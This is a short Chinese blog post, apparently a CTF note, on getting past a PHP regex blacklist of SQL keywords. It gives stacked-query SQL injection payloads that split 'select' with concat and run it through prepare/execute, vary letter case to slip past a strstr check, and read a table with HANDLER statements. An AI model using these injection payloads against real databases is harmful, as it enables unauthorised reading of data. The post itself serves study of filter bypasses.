sql black list 绕过

Black list is so weak for you,isn't it

姿势:  
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
法1:rename改表名绕过(此处不适用)
法2:Mysql的预编译,绕过select的过滤    
具体做法:
编译
set @sql = concat('sele','ct * from `1919810931114514`;');
prepare stm from @sql;
执行 execute stm;--+  
最终构造语句:
set @sql = concat('sele','ct * from `1919810931114514`;');
prepare stm from @sql;execute stm;--+      
strstr对关键字set 和prepare进行了过滤,但他不区分大小写,我们可以绕过  
1';sEt @sql = concat('sele','ct * from `1919810931114514`;');prEpare smt from @sql;execute smt;--+   
(未试)
法3:
如果禁掉rename和alter,还可以用这个payload payload=1';handler `19xxx` open;handler `19xxx` read first;handler `19xxx` close;# 在知道表的情况下,部分关键字被禁止的情况下,用handler直接读取表内容。
posted @ 2020-09-25 14:28  huhuf6  阅读(339)  评论(0编辑  收藏  举报